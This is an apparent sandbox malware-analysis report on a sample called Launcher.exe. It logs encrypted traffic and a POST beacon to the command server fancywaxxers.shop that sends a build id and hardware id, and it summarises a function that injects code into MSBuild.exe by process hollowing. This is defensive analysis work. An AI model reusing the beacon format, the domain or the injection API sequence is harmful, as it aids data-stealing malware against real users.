2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: a9 62 1c 95 78 ca 85 9b 36 7f e7 63 f1 84 c8 07 fe aa 3f 13 f2 6c c1 7d cb 73 d7 a4 1c c2 67 8b 6d 55 52 7a 5d 5e 2e 5a b6 05 91 56 1f 66 ab dd 50 da 90 4d 95 91 1c ae 51 bf 38 86 0a 85 c3 51 51 78 6e c4 f5 e4 80 01 9f 97 57 ed 45 de a7 22 19 9f 93 a1 cb 77 8c 8b 76 82 ac 68 85 6d c2 d0 0c 0a d5 33 39 91 94 a6 7c 3f de a6 93 34 63 35 0d 53 bf 40 5d 27 1e c5 fa 09 da 91 ba 7c 53 63 11 93 85 a9 cb 6e 4a 8c 73 a9 26 55 ef 8b 98 81 55 28 20 44 e7 7c 23 6e 14 d2 08 ee c5 d6 18 30 72 63 40 af f9 3a cf 56 63 f0 1e bc b7 7c ba 0e 1b 6c 4a 72 cf ae c6 2c e3 50 bd 0f 6e 26 47 10 d5 f0 8a ed 19 4d 09 de 4c 1b 52 c4 f8 35 f9 6d f1 fb 87 43 30 a4 54 7a 91 a0 cd 31 e3 83 5f 7a f1 88 bd e3 05 33 bc e3 8a 82 fb ac 0c 0d 9e 6c 4a 8c 6d fe 9e 77 7e 50 1f ca 87 80 d6 b7 33 Data Ascii: bx6c?l}sgmURz]^.ZVfPMQ8QQxnWE"wvhm39\|?4c5S@]'\|ScnJs&UU( D\|#n0rc@:Vc\|lJr,Pn&GMLR5mC0Tz1_z3lJmw~P3
2024-12-30 19:42:09 UTC	15331	OUT	Data Raw: 0d 04 d8 9f e3 5b 31 a4 55 57 02 34 cb 5e 08 e8 df 1c fb ea e3 de 52 dc b6 d9 f4 d4 ba 4c 86 1c f0 d4 27 80 fd c8 c7 fd 92 7e 40 27 d6 40 a0 ef 73 2d 85 00 66 37 f3 7d 58 41 20 90 bb 8f 53 9c 8d 8d 28 2b 0e 90 9f b7 9c 7b 47 e0 69 05 8b a1 3f 44 40 ae 32 1a c6 b0 d1 ab 9d 20 cc 1e b7 21 ba a5 0b b4 1a 5e bb 04 31 c4 5e 82 b9 13 01 73 62 16 f8 d5 e0 ba cd f6 c8 4a ff 2a b1 74 66 77 55 60 ee 45 b6 35 3d db 08 c8 f6 0a 54 1b fd 6f 0a 6e 8a d1 56 4f 38 d3 06 72 51 00 45 58 f8 22 33 57 ac cb aa 3b f6 9d 49 35 53 a0 5d d2 db 69 df e9 aa b9 af 00 15 f3 90 7a 29 fd 0e 42 f4 f0 5d c9 7b c3 73 53 6b 32 8e d3 e5 49 8e 71 05 c8 d6 1b 27 97 42 40 c4 33 5b 9d 80 79 61 dc d5 c3 81 a5 48 4a 70 d5 15 ee a3 b7 1d 82 e0 4c 9b b6 53 01 08 46 c3 48 cf 76 15 30 25 ba 75 6d f4 Data Ascii: [1UW4^RL'~@'@s-f7}XA S(+{Gi?D@2 !^1^sbJ*tfwU`E5=TonVO8rQEX"3W;I5S]iz)B]{sSk2Iq'B@3[yaHJpLSFHv0%um
2024-12-30 19:42:10 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=noeqj9jiu321ttf1rf6pr4k2rt; expires=Fri, 25 Apr 2025 13:28:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gG5RhrvOOg%2BlgXO5Qdo4BMVOUDqyYK8FbbYTolvXGlr9n2NXjag2RvwOf2J%2BAgFSq0RzcSHCMU3pD9P7k2Km6yrL4MY7vYcd5QcUVt2%2FRAKQrktjglWb8XMaZd49SM3sKOJ4WQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa482eb18f0de9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1677&rtt_var=670&sent=197&recv=569&lost=0&retrans=0&sent_bytes=2843&recv_bytes=553476&delivery_rate=1584373&cwnd=209&unsent_bytes=0&cid=a427588547fdb8e2&ts=1693&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49706	104.21.96.1	443	7044	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:42:11 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: fancywaxxers.shop
2024-12-30 19:42:11 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 26 6a 3d 26 68 77 69 64 3d 45 36 45 37 45 45 43 37 46 33 31 39 36 30 32 44 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--622914791&j=&hwid=E6E7EEC7F319602D72671E44D842029A
2024-12-30 19:42:11 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:42:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q79bohep6cv0rsfio91rsfdca3; expires=Fri, 25 Apr 2025 13:28:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=itBqWYE%2Be8g%2BWbn%2BY4Mo7KJ73Aclcy7zyZIicVzhRiqTXN2B2KYbNDFIoA1Jud%2BHwpjLR0RHKgvw%2BzKOGXhe1PQx48WDtfdE0UsxqIeMJgbv8fQvWIpCZzd5l6%2BmiaZYZUa2%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa482f8cec3c32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1639&min_rtt=1632&rtt_var=627&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=987&delivery_rate=1723730&cwnd=178&unsent_bytes=0&cid=8bd8a102edd95aa1&ts=478&x=0"
2024-12-30 19:42:11 UTC	232	IN	Data Raw: 33 36 61 38 0d 0a 75 53 4d 59 61 2f 59 66 55 31 6e 33 69 6e 4a 67 71 34 57 65 30 48 68 4c 31 73 47 72 2f 74 68 55 4b 6a 2b 67 77 54 64 54 42 71 7a 69 57 44 6f 4e 67 6a 31 70 61 4e 75 6f 46 30 4b 52 74 4c 4c 79 48 47 6e 73 34 38 4b 30 38 7a 31 70 59 34 2b 56 64 67 70 78 2f 4e 5a 43 56 56 37 64 66 43 73 61 70 76 4d 55 42 74 6e 66 71 72 34 33 49 59 53 4e 30 71 4c 33 42 6e 31 38 79 61 64 53 41 48 48 38 30 32 56 67 44 35 6c 54 61 6a 71 31 34 44 4e 4c 30 2b 72 6b 76 6b 30 78 6b 34 76 76 74 4f 46 2f 58 6c 48 4a 6f 67 45 64 51 39 72 79 47 6c 34 79 76 56 56 71 62 4c 76 4c 57 53 6e 43 34 2f 47 33 44 6e 75 68 68 75 61 36 37 68 4e 41 63 4d 61 76 65 67 4a 74 34 64 63 51 4c 6c 6d 54 56 53 6b 32 78 39 Data Ascii: 36a8uSMYa/YfU1n3inJgq4We0HhL1sGr/thUKj+gwTdTBqziWDoNgj1paNuoF0KRtLLyHGns48K08z1pY4+Vdgpx/NZCVV7dfCsapvMUBtnfqr43IYSN0qL3Bn18yadSAHH802VgD5lTajq14DNL0+rkvk0xk4vvtOF/XlHJogEdQ9ryGl4yvVVqbLvLWSnC4/G3Dnuhhua67hNAcMavegJt4dcQLlmTVSk2x9
2024-12-30 19:42:11 UTC	1369	IN	Data Raw: 6c 4b 46 70 76 54 2b 62 38 56 47 37 32 79 37 38 71 77 4f 32 74 6d 34 71 64 6c 59 32 66 66 6a 6d 6b 6f 4a 73 35 6d 4a 54 4f 2f 7a 78 30 36 6e 64 7a 4d 6a 46 63 6d 37 76 58 46 71 5a 6b 36 59 6c 62 4a 39 30 63 78 50 74 37 4a 52 53 41 64 7a 6c 30 6d 61 4c 76 44 4a 51 4c 49 34 74 79 2f 50 6e 2f 6c 6d 5a 4f 75 71 44 6c 46 62 75 54 32 65 42 42 32 36 63 39 6f 62 44 36 2f 56 42 6b 73 77 74 6f 33 53 2b 66 2f 72 61 6b 56 4d 65 61 32 37 4c 4f 63 59 6d 31 56 37 36 64 48 48 6c 66 48 7a 45 6b 67 58 5a 74 79 47 53 4f 48 75 69 46 59 33 62 58 34 74 78 63 6c 35 61 72 59 75 75 77 39 59 78 54 4a 67 6d 74 38 55 76 33 67 56 45 67 45 6c 31 4a 6d 63 70 54 79 4d 54 47 5a 34 2f 6a 6e 49 6e 2b 34 6a 73 47 47 6c 43 30 42 52 2f 65 43 58 6a 56 6a 2f 38 35 7a 63 53 53 59 4b 52 6f 56 7a Data Ascii: lKFpvT+b8VG72y78qwO2tm4qdlY2ffjmkoJs5mJTO/zx06ndzMjFcm7vXFqZk6YlbJ90cxPt7JRSAdzl0maLvDJQLI4ty/Pn/lmZOuqDlFbuT2eBB26c9obD6/VBkswto3S+f/rakVMea27LOcYm1V76dHHlfHzEkgXZtyGSOHuiFY3bX4txcl5arYuuw9YxTJgmt8Uv3gVEgEl1JmcpTyMTGZ4/jnIn+4jsGGlC0BR/eCXjVj/85zcSSYKRoVz
2024-12-30 19:42:11 UTC	1369	IN	Data Raw: 6d 36 36 33 6d 53 69 36 63 75 38 54 4f 69 32 78 63 44 2f 61 6d 57 44 30 31 78 38 70 6e 4c 41 4b 38 4e 44 6f 61 71 36 55 6d 49 66 4c 79 7a 72 38 5a 42 75 50 71 79 49 61 62 42 56 4e 5a 78 72 4e 74 5a 32 6a 6a 30 33 46 55 45 71 6f 77 41 51 36 30 34 78 51 46 2b 50 4c 4f 75 54 45 6c 34 49 6a 6e 78 35 55 57 51 48 36 4c 71 56 67 70 61 4a 6e 44 5a 6c 49 76 76 43 5a 34 4c 5a 6e 6a 45 56 62 6c 77 4f 69 63 51 51 32 50 69 75 48 48 37 52 68 72 46 4f 6d 6f 55 54 78 68 32 6f 6c 55 58 79 61 79 4b 52 51 7a 75 4f 77 63 4c 66 72 75 30 37 35 4c 66 65 53 6b 34 59 53 33 5a 48 6b 48 31 76 46 68 4e 47 6e 43 69 6b 68 72 4c 38 4a 32 47 58 4b 65 79 53 35 50 2f 38 54 48 70 79 67 6b 74 34 79 65 31 62 73 73 61 57 37 5a 70 31 45 68 58 4a 6a 58 62 48 49 35 75 6d 59 50 64 71 58 64 4d 51 Data Ascii: m663mSi6cu8TOi2xcD/amWD01x8pnLAK8NDoaq6UmIfLyzr8ZBuPqyIabBVNZxrNtZ2jj03FUEqowAQ604xQF+PLOuTEl4Ijnx5UWQH6LqVgpaJnDZlIvvCZ4LZnjEVblwOicQQ2PiuHH7RhrFOmoUTxh2olUXyayKRQzuOwcLfru075LfeSk4YS3ZHkH1vFhNGnCikhrL8J2GXKeyS5P/8THpygkt4ye1bssaW7Zp1EhXJjXbHI5umYPdqXdMQ
2024-12-30 19:42:11 UTC	1369	IN	Data Raw: 75 6a 63 6f 74 5a 57 63 78 37 4d 37 5a 31 44 4e 70 6e 6b 5a 4d 70 7a 71 47 33 5a 63 6d 57 55 31 4c 73 66 4e 42 52 50 35 74 36 79 53 48 48 4b 62 36 70 75 73 72 7a 42 41 62 2b 2b 78 42 52 46 53 6d 74 39 46 61 67 43 67 4b 53 41 2b 6b 73 67 2f 4a 74 50 48 7a 50 73 32 43 4f 36 44 33 36 36 76 4e 32 77 4d 79 50 4e 30 47 54 62 6a 32 32 52 39 44 59 63 71 5a 78 36 36 76 51 6f 74 34 75 54 5a 6d 30 67 49 76 4b 54 7a 74 6f 41 51 52 77 6e 4f 38 41 56 34 52 66 54 79 52 33 73 48 70 6c 52 71 4d 63 54 46 4e 51 76 6d 35 50 4f 5a 41 43 79 50 75 4d 2f 4f 67 41 34 42 63 4f 2b 54 54 32 4a 50 35 2b 68 6e 66 7a 75 48 65 51 49 32 78 63 34 6e 43 39 6e 47 72 4c 46 4d 43 5a 36 59 33 70 43 2b 49 33 49 50 32 6f 4a 31 4f 55 6d 55 32 78 5a 49 44 5a 52 46 5a 6a 53 59 76 45 45 30 79 4c 33 Data Ascii: ujcotZWcx7M7Z1DNpnkZMpzqG3ZcmWU1LsfNBRP5t6ySHHKb6pusrzBAb++xBRFSmt9FagCgKSA+ksg/JtPHzPs2CO6D366vN2wMyPN0GTbj22R9DYcqZx66vQot4uTZm0gIvKTztoAQRwnO8AV4RfTyR3sHplRqMcTFNQvm5POZACyPuM/OgA4BcO+TT2JP5+hnfzuHeQI2xc4nC9nGrLFMCZ6Y3pC+I3IP2oJ1OUmU2xZIDZRFZjSYvEE0yL3
2024-12-30 19:42:11 UTC	1369	IN	Data Raw: 5a 43 4d 34 70 32 33 50 78 67 4f 32 49 39 66 4d 6a 48 4f 32 32 77 76 4c 59 56 77 42 43 71 36 35 42 77 4b 7a 2b 76 73 71 68 38 52 6d 66 44 64 6b 37 73 44 59 31 33 50 38 45 51 58 4d 73 54 41 53 6e 38 4a 72 6c 6f 53 4f 37 37 70 42 67 48 49 73 4c 58 6f 4e 67 43 46 6b 2b 48 48 6a 57 4e 42 43 75 36 51 58 52 68 54 79 73 78 4b 51 51 4f 45 54 53 49 49 6a 65 63 35 4a 64 37 57 72 72 59 73 45 37 47 37 32 4a 6d 58 41 48 4e 6c 30 49 6b 4f 48 6d 6a 48 33 57 68 52 4b 62 38 74 41 78 47 56 36 52 34 6e 32 4f 48 45 68 45 30 66 73 65 72 68 6c 34 6c 68 45 6d 2b 58 70 51 59 5a 61 73 37 6a 46 53 38 53 67 48 30 66 4e 38 65 34 47 46 53 5a 34 4e 53 42 51 48 36 6a 70 4a 79 56 6f 44 31 41 63 74 69 6a 59 32 74 4f 34 64 68 43 63 53 69 71 4d 41 45 46 32 4f 63 75 54 39 7a 64 38 75 4d 37 Data Ascii: ZCM4p23PxgO2I9fMjHO22wvLYVwBCq65BwKz+vsqh8RmfDdk7sDY13P8EQXMsTASn8JrloSO77pBgHIsLXoNgCFk+HHjWNBCu6QXRhTysxKQQOETSIIjec5Jd7WrrYsE7G72JmXAHNl0IkOHmjH3WhRKb8tAxGV6R4n2OHEhE0fserhl4lhEm+XpQYZas7jFS8SgH0fN8e4GFSZ4NSBQH6jpJyVoD1ActijY2tO4dhCcSiqMAEF2OcuT9zd8uM7
2024-12-30 19:42:11 UTC	1369	IN	Data Raw: 69 38 69 77 31 6f 64 5a 69 34 57 69 52 32 68 34 34 57 63 53 79 53 53 41 70 79 74 62 6b 52 41 2f 4b 77 7a 4f 6b 33 42 4a 4c 33 6b 35 4f 38 47 55 64 32 6b 37 64 56 59 46 66 6d 2f 32 6c 77 57 61 52 46 45 6a 69 41 2f 45 49 6d 6e 73 7a 38 76 30 6b 34 6b 76 57 63 6c 71 49 78 59 32 2f 43 67 41 41 2b 4d 64 33 78 64 32 35 53 6e 48 51 48 4d 73 50 48 4b 78 4c 71 34 4c 57 2f 54 6e 69 43 6f 70 4f 5a 74 78 4e 44 57 63 57 53 51 41 4e 73 32 66 46 74 4c 43 57 5a 55 68 63 73 70 71 45 64 42 4f 54 5a 73 5a 34 6b 5a 49 61 79 36 4a 75 6f 4d 33 70 4c 79 6f 77 42 48 57 33 34 32 31 74 4a 4a 62 35 35 47 79 37 48 76 6a 42 54 79 4f 62 45 74 78 77 7a 6c 34 62 53 7a 2b 30 52 55 67 2f 47 38 6e 6f 43 62 65 48 59 57 56 63 65 77 48 74 6c 4e 72 33 53 4d 51 37 2f 38 66 2b 4d 56 33 4f 63 6f Data Ascii: i8iw1odZi4WiR2h44WcSySSApytbkRA/KwzOk3BJL3k5O8GUd2k7dVYFfm/2lwWaRFEjiA/EImnsz8v0k4kvWclqIxY2/CgAA+Md3xd25SnHQHMsPHKxLq4LW/TniCopOZtxNDWcWSQANs2fFtLCWZUhcspqEdBOTZsZ4kZIay6JuoM3pLyowBHW3421tJJb55Gy7HvjBTyObEtxwzl4bSz+0RUg/G8noCbeHYWVcewHtlNr3SMQ7/8f+MV3Oco
2024-12-30 19:42:11 UTC	1369	IN	Data Raw: 78 54 67 7a 7a 72 77 49 70 51 2b 62 39 61 58 4d 38 6e 33 73 72 46 59 61 35 4f 6a 58 38 39 39 69 6e 50 68 76 76 70 2f 6d 34 6b 79 49 62 52 2b 76 35 42 51 42 32 79 2b 78 58 4c 56 69 53 56 44 55 33 75 74 73 5a 4c 63 62 58 2f 35 70 4f 66 61 4f 78 79 4a 71 4b 4e 6d 64 6e 34 5a 52 72 66 44 65 56 2f 48 5a 67 4e 39 6c 48 46 52 57 32 31 6c 30 34 36 74 79 73 69 42 59 76 35 72 47 41 6e 61 41 58 65 30 62 34 73 46 73 61 63 66 2f 6f 53 53 34 42 6f 6b 4e 38 43 36 44 4a 4b 78 61 64 34 61 32 4d 56 79 79 61 6d 65 43 38 6d 6a 4e 6a 54 39 4f 31 65 51 4e 71 77 39 74 6d 54 67 44 45 4c 42 49 78 70 74 49 44 56 63 58 4e 37 4c 73 70 46 2f 6d 76 38 59 36 37 48 32 6c 78 31 66 45 46 45 6e 4c 4c 6a 6e 73 73 48 62 30 73 49 7a 58 43 75 52 59 72 7a 65 76 54 67 52 4d 47 75 76 48 74 76 36 Data Ascii: xTgzzrwIpQ+b9aXM8n3srFYa5OjX899inPhvvp/m4kyIbR+v5BQB2y+xXLViSVDU3utsZLcbX/5pOfaOxyJqKNmdn4ZRrfDeV/HZgN9lHFRW21l046tysiBYv5rGAnaAXe0b4sFsacf/oSS4BokN8C6DJKxad4a2MVyyameC8mjNjT9O1eQNqw9tmTgDELBIxptIDVcXN7LspF/mv8Y67H2lx1fEFEnLLjnssHb0sIzXCuRYrzevTgRMGuvHtv6
2024-12-30 19:42:11 UTC	1369	IN	Data Raw: 35 49 56 6a 4e 33 7a 38 37 30 64 38 45 6f 35 74 4f 68 4b 6c 78 30 51 57 2f 73 33 51 6e 44 6f 49 75 66 6d 53 79 61 73 51 55 33 7a 4d 68 57 4e 71 51 50 58 77 5a 69 42 65 6a 43 6f 59 45 4a 54 51 4e 54 48 64 74 65 6d 66 47 67 44 6a 36 74 4f 38 76 6d 64 6e 62 75 69 6b 62 32 5a 32 32 63 4e 74 4c 68 75 78 65 53 6b 76 6f 65 73 7a 4f 4f 2f 2f 38 49 55 78 45 37 2b 4c 67 4a 65 52 50 6d 42 37 7a 70 4e 6e 50 54 44 46 79 51 68 37 45 37 56 33 46 6a 65 6d 32 52 59 38 68 50 50 6d 6b 6a 59 6a 34 59 2f 62 70 4c 41 78 63 67 72 72 6a 30 34 51 4d 2f 72 4b 63 57 77 41 68 30 59 56 46 5a 4c 75 51 54 50 46 73 4f 53 56 4d 67 2b 63 36 76 75 4e 73 6a 78 75 46 4f 4f 41 41 44 46 2f 6d 66 68 6c 55 53 6e 41 62 42 6f 7a 6f 4f 38 66 41 2f 72 58 36 65 6b 2f 41 70 4c 33 35 4c 75 2b 50 57 5a Data Ascii: 5IVjN3z870d8Eo5tOhKlx0QW/s3QnDoIufmSyasQU3zMhWNqQPXwZiBejCoYEJTQNTHdtemfGgDj6tO8vmdnbuikb2Z22cNtLhuxeSkvoeszOO//8IUxE7+LgJeRPmB7zpNnPTDFyQh7E7V3Fjem2RY8hPPmkjYj4Y/bpLAxcgrrj04QM/rKcWwAh0YVFZLuQTPFsOSVMg+c6vuNsjxuFOOAADF/mfhlUSnAbBozoO8fA/rX6ek/ApL35Lu+PWZ
2024-12-30 19:42:11 UTC	1369	IN	Data Raw: 51 5a 4f 31 63 4e 4c 51 43 6d 66 52 6a 49 4b 6e 64 6f 59 4c 38 57 38 32 35 77 58 4b 4a 53 6a 36 73 71 53 4f 78 4e 52 6c 50 4a 79 47 55 4c 6d 31 41 68 72 50 35 39 2b 59 52 65 2b 31 6c 30 72 35 73 50 34 6e 7a 49 67 34 34 71 66 31 5a 51 68 54 46 50 58 74 33 4d 6b 52 38 76 39 45 53 6f 43 78 48 6b 37 62 61 62 36 50 77 37 71 73 2b 61 62 4d 6a 6d 50 38 4d 58 47 71 43 4e 38 54 4d 2b 73 5a 54 68 30 2b 49 30 62 55 6a 66 5a 66 68 42 74 75 38 73 6e 49 65 54 68 2f 34 42 4a 59 4a 47 35 37 34 53 68 44 68 6c 4e 34 59 68 61 44 79 6e 47 36 6c 46 68 41 36 52 48 4a 44 43 55 6f 53 45 53 7a 65 2f 70 76 6b 42 2f 6d 71 6d 54 76 4c 49 42 62 32 57 51 74 30 34 6b 64 74 33 50 62 48 45 6c 6e 58 5a 72 4f 4d 44 6c 49 6a 50 42 36 50 57 6d 47 6a 69 59 73 63 71 45 71 52 34 63 64 4d 47 48 Data Ascii: QZO1cNLQCmfRjIKndoYL8W825wXKJSj6sqSOxNRlPJyGULm1AhrP59+YRe+1l0r5sP4nzIg44qf1ZQhTFPXt3MkR8v9ESoCxHk7bab6Pw7qs+abMjmP8MXGqCN8TM+sZTh0+I0bUjfZfhBtu8snIeTh/4BJYJG574ShDhlN4YhaDynG6lFhA6RHJDCUoSESze/pvkB/mqmTvLIBb2WQt04kdt3PbHElnXZrOMDlIjPB6PWmGjiYscqEqR4cdMGH

Target ID:	0
Start time:	14:41:59
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher.exe"
Imagebase:	0x100000
File size:	913'920 bytes
MD5 hash:	5BEF55977A460A2162DD7F670B4A766A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:41:59
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:41:59
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher.exe"
Imagebase:	0x100000
File size:	913'920 bytes
MD5 hash:	5BEF55977A460A2162DD7F670B4A766A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	3%
Signature Coverage:	4.1%
Total number of Nodes:	267
Total number of Limit Nodes:	4

Executed Functions

Function 0014519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00145110,00145100), ref: 00145334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00145347
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 00145365
ReadProcessMemory.KERNELBASE(00000098,?,00145154,00000004,00000000), ref: 00145389
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 001453B4
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 0014540C
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 00145457
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 00145495
Wow64SetThreadContext.KERNEL32(0000009C,02AC0000), ref: 001454D1
ResumeThread.KERNELBASE(0000009C), ref: 001454E0

Strings

VirtualAlloc, xrefs: 00145263
CreateProcessW, xrefs: 00145250
GetThreadContext, xrefs: 00145276
aryA, xrefs: 001451E2
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00145333
ReadProcessMemory, xrefs: 00145289
ress, xrefs: 00145226
GetP, xrefs: 0014521E
WriteProcessMemory, xrefs: 001452AF
Load, xrefs: 001451DA
ResumeThread, xrefs: 001452D8
TerminateProcess, xrefs: 001453C3
VirtualAllocEx, xrefs: 0014529C
SetThreadContext, xrefs: 001452C2

Memory Dump Source

Source File: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: e3a06d8bd2df0b8fbee82a1019bff7a03875fe4065ec4506c64f490c6f433b99
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: A9B1087660064AAFDB60CF68CC80BDA73A5FF88714F158124EA0CAB352D774FA51CB94

Function 00101C10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00101C3B
CreateFileA.KERNELBASE ref: 00101C94
GetFileSize.KERNEL32 ref: 00101CC3
CloseHandle.KERNEL32 ref: 00101CDF

Strings

CreateFileA, xrefs: 00101C2E

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: File$AddressCloseCreateHandleProcSize
String ID: CreateFileA
API String ID: 2547132502-1429953656
Opcode ID: b556083d9af1db4eeacbd2352c8809d2524583155ebff05948bdc4ea56c87a81
Instruction ID: 6ce2c37eeacf715ce2f38d079a0b9fcc6297021e55b812af4192c0788707699a
Opcode Fuzzy Hash: b556083d9af1db4eeacbd2352c8809d2524583155ebff05948bdc4ea56c87a81
Instruction Fuzzy Hash: A34194B49082499FDB04EFA8D4586AEBBF0FF49314F00852DE899A7390D7789584CF96

Function 00123202 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,580AF776,?,00123311,00000000,00000000,00000000,00000000), ref: 001232C3

Strings

api-ms-, xrefs: 00123259
ext-ms-, xrefs: 0012326D

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
